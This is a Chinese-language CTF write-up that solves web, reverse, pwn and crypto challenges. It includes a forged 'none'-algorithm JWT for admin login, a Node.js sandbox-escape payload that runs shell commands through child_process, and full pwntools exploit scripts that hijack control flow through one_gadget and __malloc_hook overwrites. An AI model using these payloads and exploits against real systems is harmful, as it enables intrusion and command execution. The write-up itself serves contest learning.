
文章目录
WEB
easy_login
上来首先注册账户登录,发现提示静态目录的配置在根目录
于是源码泄露拿到app.js
之后主要逻辑在controllers/api.js
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
ctx.rest({
token: token
});
await next();
},
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};
只要jwt能伪造就可以作为admin登录并拿到flag
但是校验怎么过没找到姿势
网上搜到文章
https://github.com/justcatthefish/ctf/tree/master/2019-04-25-Angstrom2019/web#cookie-cutter
基本跟Angstorm2019这题一样。那么就可以将jwt中加密算法部分置为空。但是发现验证逻辑中跟原题差别的一处在!(sid < global.secrets.length && sid >= 0)
将sid置为"01"字符串,就可以通过弱类型并使得secrets[sid]为undefined,通过jwt校验。
payload:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.ewogICJzZWNyZXRpZCI6ICIrMSIsCiAgInVzZXJuYW1lIjogImFkbWluIiwKICAicGFzc3dvcmQiOiAiMTIzIgp9.
登录进去直接访问/api/flag即可
just_escape
node沙盒逃逸。比赛时没做出来。几小时后buu上成了......估计环境问题,这里直接放个payload吧
使用\u0065val代替eval
使用脚本转换成charcode
try { require('child_process').execSync("cat /flag").toString() } catch(e){}
let buffer = {
hexSlice: () => "",
magic: {
get [Symbol.for("nodejs.util.inspect.custom")](){
throw f => f.constructor("return process")();
}
}
};
try{
Buffer.prototype.inspect.call(buffer, 0, { customInspect: true });
}catch(e){
e(()=>0).mainModule.require('child_process').execSync("cat /flag").toString()
}
然后getflag.
re
game
flag{5LZG50ex5Yi75VqE5YePLIKl541pNu3Fq}
len = 39
flag[6:30:3] = L5xiV5PK
flag[28:34] = l541pN
flag[-2:33:-1]*5后和flag[7:27]进行运算
map(lambda x: x[0]^x[1],zip(b,f[7:27]))
PWN
MarksMan
一开始是想写got来getshell的,但是发现并没有给got表。
送了个libc的地址,能操控的那就只剩下结构体部分。
考虑3字节来getshell,因为3字节跳不会main,但可以跳one_gadget。
one_gadget被过滤,但是规则设置的很容易绕,最后一位可以用-5来滑行,多执行一条无意义汇编绕,倒数第二位。。。。
emmmmmm,开了pie跟aslr,第二位就1/16被过滤成功
最后写exit的结构体去getshell。
不过由于偏移差距过大,大概还是有个1/2左右的概率。
from pwn import *
r=remote('39.97.210.182',10055)
#r=process('./chall')
r.recvuntil('I placed the target near: 0x')
leak=int(r.recv(12),16)
print hex(leak)
libc=ELF('./libc.so.6')
libc_base=leak-libc.symbols['puts']
target=libc_base+libc.symbols['exit']
print hex(libc_base)
def gd():
gdb.attach(r)
pause()
one=libc_base+0x10a38c
f=one&0xff
s=one&0xff00
t=one&0xff0000
f=f-5
s=s>>8
t=t>>16
#0x5f60e0
r.recvuntil('shoot!shoot!')
r.sendline(str(libc_base+0x81df60))
print hex(libc_base+0x81df60)
r.recvuntil('biang!')
r.sendline(chr(f))
r.recvuntil('biang!')
r.sendline(chr(s))
r.recvuntil('biang!')
r.sendline(chr(t))
r.interactive()
值得一提的是,一开始我觉得偏移差距过大得改7位,所以想改前面的6位,放最后一个字节不动来滑行shellcode,然而eax指向了不可写区域。。。
SecureBox
常见的堆题,漏洞在于add时候检测上线时用了unsiged int,但是定义是 unsigned __int64
,有一手整数溢出,之后在enc函数中没检测heap的指针是否为空,从而导致了任意地址写。
最后调下栈来执行onegadget。
#r=process('./chall')
r=remote('39.97.210.182',19806)
def menu(choice):
r.sendlineafter('5.Exit',str(choice))
key=[]
def add(size):
menu(1)
r.sendlineafter('Size: ',str(size))
def free(idx):
menu(2)
r.sendlineafter('x ID: ',str(idx))
def enc(idx,off,content):
menu(3)
r.sendlineafter(' ID: ',str(idx))
r.sendlineafter('fset of msg: ',str(off))
r.sendlineafter('msg: ','8')
r.sendafter('Msg: ',content)
def leak(idx):
menu(4)
r.sendlineafter('Box ID: ',str(idx))
r.sendlineafter(' of msg:','0')
r.sendlineafter('Len of msg: ','8')
def gd():
gdb.attach(r)
pause()
key1=[]
libc=ELF('./libc.so.6')
add(0x410)#0
add(0x410)#1
free(0)
add(0x410)#0
leak(0)
#gd()
r.recvuntil('Msg')
r.recvuntil('\n')
lleak=u64(r.recv(6).ljust(8,'\x00'))
print hex(lleak)
llbase=lleak-0x1ECBE0+0x2000
lmhook=llbase+libc.symbols['__malloc_hook']
print hex(llbase)
print hex(lmhook)
add(0x7fffffff00000ff0)#2
r.recvuntil('Key:')
r.recvuntil('\n')
for i in range(16):
key.append(int(r.recv(2),16))
r.recv(1)
#py=p64(0x10afa9+llbase)+p64(llbase+libc.symbols['realloc']+6)
py=p64(libc.symbols['system']+llbase)
py=p64(0x10afa9+llbase)
re=p64(llbase+libc.symbols['realloc']+8)
tr=''
t=''
for i in range(len(py)):
tr+=chr(ord(py[i])^key[i])
for i in range(len(re)):
t+=chr(ord(re[i])^key[i])
enc(2,lmhook-8,tr)
enc(2,lmhook,t)
r.interactive()
count
arm架构下的pwn。。。不过是签到的难度。。。
//头一次看见做出100+的pwn题
模拟一波rand的值然后同步跑200次,最后溢出下getshell
from pwn import *
from ctypes import *
import sys
r = remote('39.97.210.182',40285)
elf = cdll.LoadLibrary('libc.so.6')
for i in range(200):
elf.srand(elf.time(0))
r_1 = elf.rand()%100
r_2 = elf.rand()%100
r_3 = elf.rand()%100
r_4 = elf.rand()%100
p.recvuntil('input answer:')
p.sendline(str(r_1*r_2+r_3+r_4))
sleep(0.1)
r.sendline(p32(0x12235612)*27)
r.interactive()
Crypto
GM
makekey
函数中,有
$$
(q^2 x)^\frac{p-1}{2} \equiv q^{p-1} x^\frac{p-1}{2} \equiv (\frac{x}{p})\pmod{p} \
(p^2 x)^\frac{q-1}{2} \equiv p^{q-1} x^\frac{q-1}{2} \equiv (\frac{x}{q})\pmod{q}
$$
其中,$(\frac{x}{p})\pmod{p}$表示$x$在$F_p$下的勒让德符号。
要满足
$$
(q^2 x)^\frac{p-1}{2} + (p^2 x)^\frac{q-1}{2} = n - phi - 1 = pq - (pq - p - q + 1) - 1 = (p-1) + (q-1)
$$
只有
$$
(q^2 x)^\frac{p-1}{2} \equiv p-1 \equiv -1 \pmod{p} \
(p^2 x)^\frac{q-1}{2} \equiv q-1 \equiv -1 \pmod{q}
$$
也就是说$x$是在$F_p, F_q$下的二次非剩余(Quadratic Nonresidue)。
加密过程则是对msg
的每一bit进行加密:
$$
c \equiv x^{br || bi} \cdot r^2 \pmod{N}
$$
br
是一个随机数$r$的二进制表示,bi
是msg
的某一bit(0或1)。
也就相当于
$$
c \equiv x^{2r + bi} \cdot r^2 \pmod{N}
$$
我们可以来考察这个$c$在$F_p, F_q$下的勒让德符号:
$$
(\frac{c}{p}) \equiv (\frac{x^{2r} x^{bi} r^2 }{p}) \equiv (\frac{x^r}{p})^2 (\frac{x^{bi}}{p}) (\frac{r}{p})^2 \equiv (\frac{x^{bi}}{p}) \pmod{p} \
(\frac{c}{q}) \equiv (\frac{x^{2r} x^{bi} r^2 }{q}) \equiv (\frac{x^r}{q})^2 (\frac{x^{bi}}{q}) (\frac{r}{q})^2 \equiv (\frac{x^{bi}}{q}) \pmod{q}
$$
msg
的这一位bi
是0的话,两个勒让德符号肯定都是1;如果这一位bi
是1的话,勒让德符号肯定都是-1(p-1或q-1)。
因此可以通过勒让德符号推算出bi
,进而得到msg
。
给了n
和phi
,直接利用sagemath
的解方程功能就可以拿到p, q
。
# sage 8.9
N = 9433451661749413225919414595243321311762902037908850954799703396083863718641136503053215995576558003171249192969972864840795298784730553210417983714593764557582927434784915177639731998310891168685999240937407871771369971713515313634198744616074610866924094854671900334810353127446778607137157751925680243990905528141072864168544519279897224494849206184262202130305820187569148057247731243651084258194009459936702909655448969693589800987266378249891157940262898554047247605049549997783511107373248462587318323152524969684724690316918761387154882496367769626921299091688377118938693074486325995308403232228282839975697
phi = 9433451661749413225919414595243321311762902037908850954799703396083863718641136503053215995576558003171249192969972864840795298784730553210417983714593764557582927434784915177639731998310891168685999240937407871771369971713515313634198744616074610866924094854671900334810353127446778607137157751925680243990711180904598841255660443214091848674376245163953774717113246203928244509033734184913005865837620134831142880711832256634797590773413831659733615722574830257496801417760337073484838170554497953033487131634973371143357507027731899402777169516770264218656483487045393156894832885628843858316679793205572348688820
var("p q")
print solve([p*q == N, p*q - p - q + 1 == phi], p, q)
# [
# [p == 94130524494940356506875940901901506872984699033610928814269310978003376307730580667234209640309443564560267414630644861712331559440658853201804556781784493376284446426393074882942957446869925558422146677774085449915333876201669456003375126689843738090285370245240893337253184644114745083294361228182569510971, q == 100216711979082556377200124903474313599976321274816484378304672662900171906266478070844182716079881540999761528986068197079878654411887736955737660906283803174161740862819849415729979371880583995409044839777513091451849412985192528374337852907661670174530234397743068706607004213367391908429077794527921775907],
# [p == 100216711979082556377200124903474313599976321274816484378304672662900171906266478070844182716079881540999761528986068197079878654411887736955737660906283803174161740862819849415729979371880583995409044839777513091451849412985192528374337852907661670174530234397743068706607004213367391908429077794527921775907, q == 94130524494940356506875940901901506872984699033610928814269310978003376307730580667234209640309443564560267414630644861712331559440658853201804556781784493376284446426393074882942957446869925558422146677774085449915333876201669456003375126689843738090285370245240893337253184644114745083294361228182569510971]
# ]
可以直接求出p,q。
接下来只需要判断每一个c
的勒让德符号(欧拉判别法)就可以知道msg
的那一位是0还是1了。
# python3
from Crypto.Util.number import long_to_bytes
p = ...
q = ...
def legendre(a, p):
return pow(a, (p-1)//2, p)
ciphers = open("output", "r").readlines()[2]
ciphers = [int(c) for c in ciphers[1:-3].replace("L", "").split(", ")]
msg = ""
for c in ciphers:
lp = legendre(c, p)
lq = legendre(c, q)
if lp == 1 and lq == 1:
msg += "0"
else:
msg += "1"
print(long_to_bytes(int(msg, 2)))
# flag{bd4f1790-f4a2-4904-b4d2-8db8b24fd864}
pell
这个proof of work
,很眼熟啊,感觉是杭电的师傅出的题。
在"A Friendly Introduction to Number Theory"的第32章有讲过这个pell equation
。

意思就是说,如果你找到了这个方程的一个最小(正整数)解,那么你就可以通过一个类似于通项公式的方式递推得到所有的解。
证明的话,嘿嘿嘿,当初我看的时候就没怎么看得懂,似乎是用了一个非常高超的数学证明手法:费马的无穷递降法(Fermat's method of descent)。。。数论还是很有意思的啊。
但是好在有一个online website能够帮我们解决这种二次的丢番图方程(Diophantine equations): https://www.alpertron.com.ar/QUAD.HTM (这个网站上面的因数分解功能也很给力,基本280bit以下的都能通过ECM或者Quadratic Sieve在短时间内分解出来)。

这一题中的方程形式是
$$
x^2 - a y^2 = b
$$
其中a, b
的取值如下:
a = random.randint(10,50)
b = random.randint(1,2)
一共就只有41*2 == 82
种可能,但是由于pell equations
是在有些情况下是没有解的(b = 2
的时候经常会没解),在某些情况下最小解会挺大的,所以服务器给出某一组a, b
的时候是有可能无解的。。。
wiki上就给出了在b = 1
的时候,最小解的情况,但没有给出递推公式(也可以自己推算一下)。

在这个神奇的网站上是有递推公式的,例如a = 24, b = 1
的时候,我们可以得到如下结果:

我们可以从x = 1, y = 0
这个解(显然这是MARKDOWN_HASHabc787a98d96161f2888fa627f87d872MARKDOWNHASH
时都有的一个trivial solution)开始,然后通过
$$
\begin{aligned}
x{n+1} &= 5 x_n + 24 yn \
y{n+1} &= x_n + 5 y_n
\end{aligned}
$$
这个递推公式求出后面的所有解。
这一题,只需要给服务器发送150个解就可以了。
但由于是需要nc
远程交互的,而且我也没怎么找到那个网站的api,所以就先预先算好一些比较小一点的递归公式,然后当服务器给出的参数与本地相符时,就进行交互,否则,断开重连。
import re
from hashlib import sha256
from itertools import product
import time
from pwn import *
context.log_level = "debug"
s = string.ascii_letters + string.digits
while True:
r = remote('39.97.210.182', 61235)
rec = r.recvline().decode()
suffix = re.findall(r'\(XXXX\+(.*?)\)', rec)[0]
digest = re.findall(r'== (.*?)\n', rec)[0]
print(f"suffix: {suffix} \ndigest: {digest}")
print('Calculating hash...')
for i in product(s, repeat=4):
prefix = ''.join(i)
guess = prefix + suffix
if sha256(guess.encode()).hexdigest() == digest:
print(guess)
break
r.sendafter(b'Give me XXXX:', prefix.encode())
rec = r.recvlines(numlines=2)[1].decode()
a = int(re.findall(r'a = ([0-9].*?),', rec)[0])
b = int(re.findall(r'b = ([0-9].*?)', rec)[0])
print(a, b)
if a == 35 and b == 1:
x, y = 1, 0
for _ in range(150):
x, y = 6*x + 35*y, x + 6*y
r.sendline(str(abs(x)).encode())
time.sleep(0.3)
r.sendline(str(abs(y)).encode())
time.sleep(0.3)
elif a == 30 and b == 1:
x, y = 1, 0
for _ in range(150):
x, y = 11*x + 60*y, 2*x + 11*y
r.sendline(str(abs(x)).encode())
time.sleep(0.3)
r.sendline(str(abs(y)).encode())
time.sleep(0.3)
elif a == 24 and b == 1:
x, y = 1, 0
for _ in range(150):
x, y = 5*x + 24*y, 1*x + 5*y
r.sendline(str(abs(x)).encode())
time.sleep(0.3)
r.sendline(str(abs(y)).encode())
time.sleep(0.3)
elif a == 20 and b == 1:
x, y = 1, 0
for _ in range(150):
x, y = 9*x + 40*y, 2*x + 9*y
r.sendline(str(abs(x)).encode())
time.sleep(0.3)
r.sendline(str(abs(y)).encode())
time.sleep(0.3)
elif a == 15 and b == 1:
x, y = 1, 0
for _ in range(150):
x, y = 4*x + 15*y, 1*x + 4*y
r.sendline(str(abs(x)).encode())
time.sleep(0.3)
r.sendline(str(abs(y)).encode())
time.sleep(0.3)
else:
r.close()
continue
r.interactive()
sleep(0.3)
的原因是,我先在本地测试的时候,发现如果不sleep
的话,可能会有客户端发送过快,导致多条内容到了服务端后会变成一条,然后int
解析不了。。
invalid literal for int() with base 10: '47525\n9701\n'
最后开了n个终端在跑,跑出来如下:

最新评论